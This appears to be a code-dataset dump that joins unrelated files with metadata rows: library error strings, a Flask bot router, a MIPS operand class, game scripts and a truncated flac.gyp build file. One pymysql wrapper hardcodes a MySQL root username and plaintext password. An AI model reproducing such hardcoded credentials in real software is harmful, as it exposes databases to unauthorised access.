re_slice_error2 = "Lenght of times must be > 1!"
re_slice_error3 = "interpolator must be of type sptemp.zeit.Interpolator!"
# prev_ts()
prev_error1 = "Time must be of type datetime.datetime!"
# append()
app_error1 = "Value must be of type spetemp.zeit.TS_Object!"
app_error2 = "Value.start_time() must be > Moving_Object.end_time()"
# insert()
in_error1 = "Value must be of type spetemp.zeit.TS_Object!"
in_error2 = "Value.ts and timestamps of esisting TS_Objects in Moving_Object must be disjoint!"
in_error3 = "Value.type must be equal to self.type!"
# delete()
delete_error1 = "Time must be of type sptemp.zeit.Time_Period!"
delete_error2 = "Moving_Object cannot become empty!"
class TS_Geometry_Texts:
# __init__():
init_error1 = "Value must be of type shapely.geometry!"
init_error2 = "Value must not be empty!"
init_error3 = "crs must be of type pyproj.Proj!"
# value()
v_error1 = "value must be equal to self.type!"
v_error2 = "self.has_z and value.has_z must be equal!"
# reproject()
r_error1 = "TS_Geometry has no coordinate reference system!"
r_error2 = "to_crs must be of type pyproj.Proj!"
class TS_Point_Texts:
# __init__():
init_error1 = "Value must be of type shapely.geometry.Point!"
init_error2 = "Point must not be empty!"
init_error3 = "crs must be of type pyproj.Proj!"
# value()
v_error1 = "value must be of type shapey.geometry.Point!"
v_error2 = "self.has_z and value.has_z must be equal!"
# reproject()
r_error1 = "TS_Point has no coordinate reference system!"
r_error2 = "to_crs must be of type pyproj.Proj!"
class MG_Texts:
# within
w_error1 = "another must be of type shapely.geometry or TS_Geometry or Moving_Geometry or Moving_Collection!"
w_error2 = "timedelta must be positive!"
w_error3 = "td1 must be larger or equal to td2!"
class MP_Texts:
# __init__()
init_error1 = "ts_objects_list can only elements of type sptemp.moving_geometry.TS_Points!"
init_error2 = "coordinate reference system of all TS_Points in ts_object_list must be equal!"
init_error3 = "TS_Point.has_z must be equal for all TS_Points in ts_object_list!"
# __setitem__()
set_error1 = "value must be of type sptemp.moving_geometry.TS_Point!"
# __append__()
app_error1 = "value must be of type sptemp.moving_geometry.TS_Point!"
# insert()
in_error1 = "value must be of type sptemp.moving_geometry.TS_Point!"
# reproject()
re_error1 = "Moving_Object has no coorinate reference system!"
class TS_LineString_Texts:
# __init__():
init_error1 = "Value must be of type shapely.geometry.LineString!"
init_error2 = "LineString must not be empty!"
init_error3 = "crs must be of type pyproj.Proj!"
# value()
v_error1 = "value must be of type shapey.geometry.LineString!"
v_error2 = "self.has_z and value.has_z must be equal!"
# reproject()
r_error1 = "TS_LineString has no coordinate reference system!"
r_error2 = "to_crs must be of type pyproj.Proj!"
class ML_Texts:
# __init__()
init_error1 = "ts_objects_list can only elements of type sptemp.moving_geometry.TS_LineString!"
init_error2 = "coordinate reference system of all TS_LineStrings in ts_object_list must be equal!"
init_error3 = "TS_LineSTring.has_z must be equal for all TS_LineStrings in ts_object_list!"
# __setitem__()
set_error1 = "value must be of type sptemp.moving_geometry.TS_LineString!"
# __append__()
app_error1 = "value must be of type sptemp.moving_geometry.TS_LineString!"
# insert()
in_error1 = "value must be of type sptemp.moving_geometry.TS_LineString!"
# reproject()
re_error1 = "Moving_Object has no coordinate reference system!"
class TS_LinearRing_Texts:
# __init__():
init_error1 = "Value must be of type shapely.geometry.LinearRing!"
class MLR_Texts:
# __init__()
init_error1 = "ts_objects_list can only elements of type sptemp.moving_geometry.TS_LinearRing!"
init_error2 = "coordinate reference system of all TS_LinearRings in ts_object_list must be equal!"
init_error3 = "TS_LinearRing.has_z must be equal for all TS_LinearRings in ts_object_list!"
# __setitem__()
set_error1 = "value must be of type sptemp.moving_geometry.TS_LinearRing!"
# __append__()
app_error1 = "value must be of type sptemp.moving_geometry.TS_LinearRing!"
# insert()
in_error1 = "value must be of type sptemp.moving_geometry.TS_LinearRing!"
class MC_Texts:
# __init__()
init_error1 = "moving_list cannot be empty!"
init_error2 = "moving_list must be of type list!"
init_error3 = "moving_list can only contain values of type Moving_Point, Moving_LineString and Moving_Polygon!"
# interpolate()
ip_error1 = "time must be of type datetime.datetime!"
ip_error2 = "args_dict must be of type dict!"
# slice()
slice_error1 = "time must be type sptemp.zeit.TimePeriod!"
slice_error2 = "interpolator_dict must be of type dict!"
# resampled_slice()
re_slice_error1 = "Times must be of type slice!"
re_slice_error2 = "Lenght of times must be > 1!"
re_slice_error3 = "interpolator must be of type dict!"
class MPL_Texts:
# __init__()
init_error1 = "exterior ring must be of type sptemp.moving_geometry.Moving_LinearRing!"
init_error2 = "interior rings must be of type list!"
init_error3 = "interior ring must be of type sptemp.moving_geometry.Moving_LinearRing!"
# interpolate()
ip_error1 = "time must be of type datetime.datetime!"
ip_error2 = "args_dict must be of type dict!"
# slice()
slice_error1 = "time must be of type sptemp.zeit.Time_Period!"
slice_error2 = "interpolator_dict must be of type dict!"
class MMP_Texts:
# __init__()
init_error1 = "moving_list cannot be empty!"
init_error2 = "moving_list must be of type list!"
init_error3 = "moving_list can only contain values of type Moving_Point!"
class MML_Texts:
# __init__()
init_error1 = "moving_list cannot be empty!"
init_error2 = "moving_list must be of type list!"
init_error3 = "moving_list can only contain values of type Moving_LineString!"
class MMPL_Texts:
# __init__()
init_error1 = "moving_list cannot be empty!"
init_error2 = "moving_list must be of type list!"
init_error3 = "moving_list can only contain values of type Moving_Polygon!"
# slice()
slice_error1 = "time must be type sptemp.zeit.TimePeriod!"
slice_error2 = "interpolator_dict must be of type dict!"
class MG_Helper_Texts:
# has_z_equal()
hz_error1 = "has_z and has_z must be consistent!"
# crs_equal()
crs_error1 = "crs must be consistent!"
class IC_Texts:
# linear()
error1 = "start_ts AND end_ts must be of type sptemp.zeit.TS_Object!"
error2 = "Time must be of type datetime.datetime!"
error3 = "start_ts.type must be equal to end_ts.type"
error4 = "start_ts must lay before end_ts on the time_axis"
class IPoint_Texts:
# linear_point()
lp_error1 = "start_ts and end_ts must be of type sptemp.moving_geometry.TS_Point!"
lp_error2 = "time must be of type datetime.datetime!"
lp_error3 = "start_ts.has_z must be equal to end_ts.has_z!"
lp_error4 = "start_ts must lay before end_ts on the time_axis!"
lp_error5 = "time must be >= start_ts.end_time() and <= end_ts.start_time()!"
lp_error6 = "start_ts.crs must be equal to end_ts.crs!"
# curve_point()
c_error1 = "start_ts and end_ts must be of type sptemp.moving_geometry.TS_Point!"
c_error2 = "time must be of type datetime.datetime!"
c_error3 = "curve must be of type shpely.geometry.LineString!"
c_error4 = "start_ts.has_z, end_ts.has_z and curve.has_z must be equal!"
c_error5 = "start_ts.crs must be equal to end_ts.crs!"
c_error6 = "start_ts must lay before end_ts on the time_axis"
c_error7 = "time must be >= start_ts.end_time() and <= end_ts.start_time()!"
c_error8 = "start_ts.value must be equal to start point of curve and end_ts.value must be equal to end point of curve!"
class ICurve_Texts:
# basic_linear()
bl_error1 = "start_ts and end_ts must be of type sptemp.moving_geometry.TS_LineString!"
bl_error2 = "time must be of type datetime.datetime!"
bl_error3 = "start_ts.has_z and end_ts.has_z must be equal!"
bl_error4 = "start_ts.crs must be equal to end_ts.crs!"
bl_error5 = "start_ts must lay before end_ts on the time_axis"
bl_error6 = "time must be >= start_ts.end_time() and <= end_ts.start_time()!"
bl_error7 = "s_type must be in ['angle', 'distance']!"
class IRing_Texts:
# linear_translation()
lt_error1 = "start_ts and end_ts must be of type sptemp.moving_geometry.TS_LinearRing!"
lt_error2 = "time must be of type datetime.datetime!"
lt_error3 = "start_ts.has_z and end_ts.has_z must be equal!"
lt_error4 = "start_ts.crs must be equal to end_ts.crs!"
lt_error5 = "start_ts must lay before end_ts on the time_axis"
lt_error6 = "time must be >= start_ts.end_time() and <= end_ts.start_time()!"
lt_error7 = "s_type must be in ['angle', 'distance']!"
class IHelper_Texts:
# linear_point()
lp_error1 = "invalid coordinate dimensions!"
# angle()
ang_error1 = "invalid coordinate dimensions!"
class SPT_Texts:
# __init__()
init_error1 = "dataframe must be of type pandas.DataFrame!"
init_error2 = "Geometry column must have name 'geometry'!"
#init_error3 = "empty instantiation not possible!"
init_error4 = "crs must be of type pyproj.Proj!"
init_error5 = "Geometry type must be shapely.geometry or Moving_Point, Moving_LineString, Moving_LinearRing or Moving_Collection!"
# interpolate
ip_error1 = "time must be of type datetime.datetime!"
ip_error2 = "args must be stored in dict for Moving_Collections and in list for Moving_Objects!"
# slice
slice_error1 = "time must be of type sptemp.zeit.Time_Period!"
# reproject
re_error1 = "If geometry column holds values of type shapely.geometry SPT_DataFrame.crs has to be set for reprojection!"
re_error2 = "to_crs must be of type pyproj.Proj!"
# read_from_json
rj_error1 = "File does not exist!"
rj_error2 = "interpolator_dict must of type dict!"
rj_error3 = "For empty instantiation, column_names must be defined!"
| 38.892231 | 134 | 0.689522 | 2,308 | 15,518 | 4.377383 | 0.090555 | 0.087301 | 0.06889 | 0.102148 | 0.735326 | 0.708205 | 0.657725 | 0.629021 | 0.552014 | 0.520538 | 0 | 0.016279 | 0.224127 | 15,518 | 399 | 135 | 38.892231 | 0.822841 | 0.061799 | 0 | 0.176744 | 0 | 0.013953 | 0.642102 | 0.100905 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
ce6bb09acd98fe20582601fb4521ef852ba9b0da | 237 | py | Python | 1.elements_of_programming/Ch - 5 Arrays Que/5.8_que.py | jimmymalhan/Coding_Interview_Questions_Python_algoexpert | 94e8b4c63e8db92793b99741120a09f22806234f | [
"MIT"
] | 1 | 2020-10-05T04:55:26.000Z | 2020-10-05T04:55:26.000Z | 1.elements_of_programming/Ch - 5 Arrays Que/5.8_que.py | jimmymalhan/Coding_Interview_Questions_Python_algoexpert | 94e8b4c63e8db92793b99741120a09f22806234f | [
"MIT"
] | null | null | null | 1.elements_of_programming/Ch - 5 Arrays Que/5.8_que.py | jimmymalhan/Coding_Interview_Questions_Python_algoexpert | 94e8b4c63e8db92793b99741120a09f22806234f | [
"MIT"
] | null | null | null | # Computing an Alternation
# Write a program that takes an array A of n numbers, and rearranges A's elements to get a new array B having the property that
# B[0] <= B[1] >= B[2] <= B[3] >= B[4] <= B[5] >= ...
# Write pseudo code here
| 33.857143 | 127 | 0.64135 | 45 | 237 | 3.377778 | 0.711111 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.032432 | 0.219409 | 237 | 6 | 128 | 39.5 | 0.789189 | 0.953587 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
ce7bf2369c7e709da19c98655b435c2658038f86 | 967 | py | Python | lib/Database.py | flawwan/Game-Python-Matchmaking | 9adc459308ac0d6c056daa9b1bbcca9d9919f619 | [
"MIT"
] | null | null | null | lib/Database.py | flawwan/Game-Python-Matchmaking | 9adc459308ac0d6c056daa9b1bbcca9d9919f619 | [
"MIT"
] | 1 | 2015-01-28T12:03:36.000Z | 2015-01-28T12:26:10.000Z | lib/Database.py | flawwan/Game-Python-Matchmaking | 9adc459308ac0d6c056daa9b1bbcca9d9919f619 | [
"MIT"
] | null | null | null | import pymysql
class Database:
db = None
sth = None
def __init__(self):
self.connect_db() # Connect
def get_cursor(self):
return self.db.cursor(pymysql.cursors.DictCursor)
def connect_db(self):
self.db = pymysql.connect(host="localhost",
user="root",
passwd="super9server",
db="gameCentral")
self.sth = self.get_cursor() # Get the cursor
def query(self, sql, params=None):
return self.sth.execute(sql, params)
def fetch(self):
return self.sth.fetchone()
def fetch_all(self):
return self.sth.fetchall()
def last_insert(self):
return self.sth.lastrowid
def commit(self):
self.db.commit()
def rollback(self):
self.db.rollback()
def close(self):
self.db.close()
def rowcount(self):
return self.sth.rowcount | 22.488372 | 57 | 0.551189 | 110 | 967 | 4.754545 | 0.354545 | 0.114723 | 0.133843 | 0.130019 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.00157 | 0.341262 | 967 | 43 | 58 | 22.488372 | 0.819466 | 0.022751 | 0 | 0 | 0 | 0 | 0.038176 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.366667 | false | 0.033333 | 0.033333 | 0.2 | 0.7 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
ce840c7a559c858b5b95965c1124f7dadea18b7b | 886 | py | Python | app/view.py | SayAkhan/testkakao | f1753733ce6f9c62829ac9f33eea4fec4c8ba03a | [
"MIT"
] | null | null | null | app/view.py | SayAkhan/testkakao | f1753733ce6f9c62829ac9f33eea4fec4c8ba03a | [
"MIT"
] | null | null | null | app/view.py | SayAkhan/testkakao | f1753733ce6f9c62829ac9f33eea4fec4c8ba03a | [
"MIT"
] | null | null | null | from app import app
from flask import request, jsonify
from .manager import APIHandler
@app.route("/keyboard", methods=["GET"])
def yellow_keyboard():
message, code = APIHandler.process("home")
return jsonify(message), code
@app.route("/message", methods=["POST"])
def yellow_message():
message, code = APIHandler.process("message", request.json)
return jsonify(message), code
@app.route("/friend", methods=["POST"])
def yellow_friend_add():
message, code = APIHandler.process("add", request.json)
return jsonify(message), code
@app.route("/friend/<key>", methods=["DELETE"])
def yellow_friend_block(key):
message, code = APIHandler.process("block", key)
return jsonify(message), code
@app.route("/chat_room/<key>", methods=["DELETE"])
def yellow_exit(key):
message, code = APIHandler.process("exit", key)
return jsonify(message), code
| 26.058824 | 63 | 0.699774 | 111 | 886 | 5.513514 | 0.261261 | 0.179739 | 0.171569 | 0.228758 | 0.496732 | 0.264706 | 0.160131 | 0.160131 | 0.160131 | 0 | 0 | 0 | 0.137698 | 886 | 33 | 64 | 26.848485 | 0.801047 | 0 | 0 | 0.217391 | 0 | 0 | 0.111738 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.217391 | false | 0 | 0.130435 | 0 | 0.565217 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
ce8669ecf7e6b51b8d1efe2699326daa72be842a | 5,050 | py | Python | chb/mips/MIPSOperand.py | kestreltechnology/CodeHawk-Binary | aa0b2534e0318e5fb3770ec7b4d78feb0feb2394 | [
"MIT"
] | null | null | null | chb/mips/MIPSOperand.py | kestreltechnology/CodeHawk-Binary | aa0b2534e0318e5fb3770ec7b4d78feb0feb2394 | [
"MIT"
] | null | null | null | chb/mips/MIPSOperand.py | kestreltechnology/CodeHawk-Binary | aa0b2534e0318e5fb3770ec7b4d78feb0feb2394 | [
"MIT"
] | null | null | null | # ------------------------------------------------------------------------------
# CodeHawk Binary Analyzer
# Author: Henny Sipma
# ------------------------------------------------------------------------------
# The MIT License (MIT)
#
# Copyright (c) 2016-2020 Kestrel Technology LLC
# Copyright (c) 2020 Henny Sipma
# Copyright (c) 2021 Aarno Labs LLC
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
# ------------------------------------------------------------------------------
"""Operand of MIPS assembly instruction."""
from chb.app.Operand import Operand
from chb.mips.MIPSDictionaryRecord import MIPSDictionaryRecord
from chb.mips.MIPSOperandKind import MIPSOperandKind
from chb.mips.MIPSRegister import MIPSRegister
import chb.util.fileutil as UF
from chb.util.IndexedTable import IndexedTableValue
from typing import List, TYPE_CHECKING
if TYPE_CHECKING:
import chb.mips.MIPSDictionary
class MIPSOperand(Operand, MIPSDictionaryRecord):
"""MIPS assembly instruction operand.
args[0]: index of operand kind in mips dictionary
"""
def __init__(
self,
d: "chb.mips.MIPSDictionary.MIPSDictionary",
ixval: IndexedTableValue) -> None:
MIPSDictionaryRecord.__init__(self, d, ixval)
Operand.__init__(self)
@property
def opkind(self) -> MIPSOperandKind:
return self.mipsd.mips_opkind(self.args[0])
@property
def size(self) -> int:
return self.opkind.size
@property
def value(self) -> int:
return self.to_signed_int()
@property
def is_mips_register(self) -> bool:
return self.opkind.is_mips_register
@property
def is_register(self) -> bool:
return self.opkind.is_mips_register
@property
def is_zero_register(self) -> bool:
return self.is_mips_register and self.register == 'zero'
@property
def is_mips_indirect_register(self) -> bool:
return self.opkind.is_mips_indirect_register
@property
def is_indirect_register(self) -> bool:
return self.opkind.is_mips_indirect_register
@property
def offset(self) -> int:
return self.opkind.offset
@property
def is_mips_immediate(self) -> bool:
return self.opkind.is_mips_immediate
@property
def is_immediate(self) -> bool:
return self.opkind.is_mips_immediate
@property
def is_mips_absolute(self) -> bool:
return self.opkind.is_mips_absolute
def is_mips_indirect_register_with_reg(self, reg: str) -> bool:
return (self.is_mips_indirect_register
and str(self.indirect_register) == reg)
@property
def register(self) -> str:
if self.is_mips_register:
return self.opkind.register
raise UF.CHBError('Operand is not a register: ' + str(self))
@property
def indirect_register(self) -> str:
if self.is_mips_indirect_register:
return self.opkind.register
raise UF.CHBError(
'Operand is not an indirect register: ' + str(self))
@property
def indirect_register_offset(self) -> int:
if self.is_mips_indirect_register:
return self.opkind.offset
raise UF.CHBError('Operand is not an indirect register: ' + str(self))
@property
def absolute_address_value(self) -> int:
if self.is_mips_absolute:
return self.opkind.address.get_int()
raise UF.CHBError('Operand is not an absolute address: ' + str(self))
def to_signed_int(self) -> int:
if self.is_mips_immediate:
return self.opkind.to_signed_int()
raise UF.CHBError('Operand is not an immediate: ' + str(self))
def to_unsigned_int(self) -> int:
if self.is_mips_immediate:
return self.opkind.to_unsigned_int()
raise UF.CHBError('Operand is not an immediate: ' + str(self))
def to_expr_string(self) -> str:
return self.opkind.to_expr_string()
def __str__(self) -> str:
return str(self.opkind)
| 33.223684 | 80 | 0.66198 | 635 | 5,050 | 5.114961 | 0.259843 | 0.061576 | 0.078818 | 0.044335 | 0.36915 | 0.323584 | 0.315579 | 0.278017 | 0.268165 | 0.248461 | 0 | 0.004541 | 0.21505 | 5,050 | 151 | 81 | 33.443709 | 0.814834 | 0.311089 | 0 | 0.363636 | 0 | 0 | 0.069056 | 0.011072 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.090909 | 0.170455 | 0.590909 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
ce8947e7eeeb4bc27eab1048bcd971dae9841f84 | 117 | py | Python | Standard Library/struct/02_struct_class.py | shubhamnag14/Python-Documents | d3fee0ad90232b413f6ac1b562588fb255b79e42 | [
"Apache-2.0"
] | 2 | 2020-11-27T13:21:05.000Z | 2021-04-19T21:14:21.000Z | Standard Library/struct/02_struct_class.py | shubhamnag14/Python-Documents | d3fee0ad90232b413f6ac1b562588fb255b79e42 | [
"Apache-2.0"
] | null | null | null | Standard Library/struct/02_struct_class.py | shubhamnag14/Python-Documents | d3fee0ad90232b413f6ac1b562588fb255b79e42 | [
"Apache-2.0"
] | 1 | 2021-06-27T20:31:42.000Z | 2021-06-27T20:31:42.000Z | import struct
struct1 = struct.Struct('@i13sf')
print(f"Format - {struct1.format}")
print(f'Size : ', struct1.size)
| 19.5 | 35 | 0.700855 | 16 | 117 | 5.125 | 0.5 | 0.146341 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.048077 | 0.111111 | 117 | 5 | 36 | 23.4 | 0.740385 | 0 | 0 | 0 | 0 | 0 | 0.324786 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.25 | 0 | 0.25 | 0.5 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 3 |
ce9815b9a10b9824e364401f7b8f263f1b7241b8 | 236 | py | Python | scripts/portal/map915020100_PT.py | Snewmy/swordie | ae01ed4ec0eb20a18730e8cd209eea0b84a8dd17 | [
"MIT"
] | 9 | 2021-04-26T11:59:29.000Z | 2021-12-20T13:15:27.000Z | scripts/portal/map915020100_PT.py | Snewmy/swordie | ae01ed4ec0eb20a18730e8cd209eea0b84a8dd17 | [
"MIT"
] | null | null | null | scripts/portal/map915020100_PT.py | Snewmy/swordie | ae01ed4ec0eb20a18730e8cd209eea0b84a8dd17 | [
"MIT"
] | 6 | 2021-07-14T06:32:05.000Z | 2022-02-06T02:32:56.000Z | # Ariant Treasure Vault Entrance (915020100) => Ariant Treasure Vault
if 2400 <= chr.getJob() <= 2412 and not sm.hasMobsInField():
sm.warp(915020101, 1)
elif sm.hasMobsInField():
sm.chat("Eliminate all of the intruders first.") | 39.333333 | 69 | 0.716102 | 32 | 236 | 5.28125 | 0.78125 | 0.16568 | 0.224852 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.135678 | 0.15678 | 236 | 6 | 70 | 39.333333 | 0.713568 | 0.283898 | 0 | 0 | 0 | 0 | 0.220238 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
ce99d9968bdc10fe6d1a5eaefb47d1acd8181167 | 474 | py | Python | docker_sdk_api/domain/services/contracts/abstract_job_management_service.py | BMW-InnovationLab/BMW-Semantic-Segmentation-Training-GUI | 902f35a7e367e635898f687b16a830db892fbaa5 | [
"Apache-2.0"
] | 20 | 2021-07-13T13:08:57.000Z | 2022-03-29T09:38:00.000Z | docker_sdk_api/domain/services/contracts/abstract_job_management_service.py | BMW-InnovationLab/BMW-Semantic-Segmentation-Training-GUI | 902f35a7e367e635898f687b16a830db892fbaa5 | [
"Apache-2.0"
] | null | null | null | docker_sdk_api/domain/services/contracts/abstract_job_management_service.py | BMW-InnovationLab/BMW-Semantic-Segmentation-Training-GUI | 902f35a7e367e635898f687b16a830db892fbaa5 | [
"Apache-2.0"
] | 2 | 2021-07-12T08:42:53.000Z | 2022-03-04T18:41:25.000Z | from abc import ABC, abstractmethod, ABCMeta
from domain.models.container_settings import ContainerSettings
from domain.models.container_info import ContainerInfo
class AbstractJobManagementService(ABC):
__metaclass__ = ABCMeta
@abstractmethod
def start_container(self, container_settings: ContainerSettings) -> None: raise NotImplementedError
@abstractmethod
def stop_container(self, container_info: ContainerInfo) -> None: raise NotImplementedError
| 36.461538 | 103 | 0.818565 | 47 | 474 | 8.042553 | 0.468085 | 0.05291 | 0.084656 | 0.132275 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.126582 | 474 | 12 | 104 | 39.5 | 0.913043 | 0 | 0 | 0.222222 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.222222 | false | 0 | 0.333333 | 0 | 0.777778 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
ce9f3db4063b64945f0ba0aa4e9a25422b100ffa | 299 | py | Python | amazon_problems/problem_12.py | saadaoui-salah/Daily-Coding-Problem | 48378fd74e948513a512302003d1f6bed869115b | [
"MIT"
] | null | null | null | amazon_problems/problem_12.py | saadaoui-salah/Daily-Coding-Problem | 48378fd74e948513a512302003d1f6bed869115b | [
"MIT"
] | null | null | null | amazon_problems/problem_12.py | saadaoui-salah/Daily-Coding-Problem | 48378fd74e948513a512302003d1f6bed869115b | [
"MIT"
] | null | null | null | """This problem was asked by Amazon.
Implement a bit array.
A bit array is a space efficient array that holds a value of 1 or 0 at each index.
• init(size): initialize the array with size
• set(i, val): updates index at i with val where val is either 1 or 0.
• get(i): gets the value at index i.
""" | 42.714286 | 82 | 0.719064 | 63 | 299 | 3.460317 | 0.587302 | 0.036697 | 0.082569 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.016736 | 0.200669 | 299 | 7 | 83 | 42.714286 | 0.882845 | 1.036789 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
cea6e98b42be4cc4d168786f4dee87c71ab6a90d | 3,867 | gyp | Python | src/third_party/flac/flac.gyp | goochen/naiveproxy | 1d0682ee5bae6e648cd43c65f49b4eefd224f206 | [
"BSD-3-Clause"
] | 2,151 | 2020-04-18T07:31:17.000Z | 2022-03-31T08:39:18.000Z | src/third_party/flac/flac.gyp | wclmgcd/naiveproxy | e32a3afb76fd21207c322f2d5e794c4f5505fb59 | [
"BSD-3-Clause"
] | 395 | 2020-04-18T08:22:18.000Z | 2021-12-08T13:04:49.000Z | src/third_party/flac/flac.gyp | wclmgcd/naiveproxy | e32a3afb76fd21207c322f2d5e794c4f5505fb59 | [
"BSD-3-Clause"
] | 338 | 2020-04-18T08:03:10.000Z | 2022-03-29T12:33:22.000Z | # Copyright (c) 2011 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
{
'targets': [
{
'target_name': 'libflac',
'product_name': 'flac',
'type': 'static_library',
'sources': [
'include/FLAC/all.h',
'include/FLAC/assert.h',
'include/FLAC/callback.h',
'include/FLAC/export.h',
'include/FLAC/format.h',
'include/FLAC/metadata.h',
'include/FLAC/ordinals.h',
'include/FLAC/stream_decoder.h',
'include/FLAC/stream_encoder.h',
'include/share/alloc.h',
'include/share/compat.h',
'include/share/endswap.h',
'include/share/private.h',
'src/libFLAC/alloc.c',
'src/libFLAC/bitmath.c',
'src/libFLAC/bitreader.c',
'src/libFLAC/bitwriter.c',
'src/libFLAC/cpu.c',
'src/libFLAC/crc.c',
'src/libFLAC/fixed.c',
'src/libFLAC/float.c',
'src/libFLAC/format.c',
'src/libFLAC/lpc.c',
'src/libFLAC/md5.c',
'src/libFLAC/memory.c',
'src/libFLAC/stream_decoder.c',
'src/libFLAC/stream_encoder.c',
'src/libFLAC/stream_encoder_framing.c',
'src/libFLAC/window.c',
'src/libFLAC/include/private/all.h',
'src/libFLAC/include/private/bitmath.h',
'src/libFLAC/include/private/bitreader.h',
'src/libFLAC/include/private/bitwriter.h',
'src/libFLAC/include/private/cpu.h',
'src/libFLAC/include/private/crc.h',
'src/libFLAC/include/private/fixed.h',
'src/libFLAC/include/private/float.h',
'src/libFLAC/include/private/format.h',
'src/libFLAC/include/private/lpc.h',
'src/libFLAC/include/private/macros.h',
'src/libFLAC/include/private/md5.h',
'src/libFLAC/include/private/memory.h',
'src/libFLAC/include/private/metadata.h',
'src/libFLAC/include/private/stream_encoder.h',
'src/libFLAC/include/private/stream_encoder_framing.h',
'src/libFLAC/include/private/window.h',
'src/libFLAC/include/protected/all.h',
'src/libFLAC/include/protected/stream_decoder.h',
'src/libFLAC/include/protected/stream_encoder.h',
],
'defines': [
'FLAC__NO_DLL',
'FLAC__OVERFLOW_DETECT',
'VERSION="1.3.1"',
'HAVE_LROUND',
],
'conditions': [
['OS=="win"', {
'sources': [
'include/share/win_utf8_io.h',
'src/share/win_utf8_io/win_utf8_io.c',
],
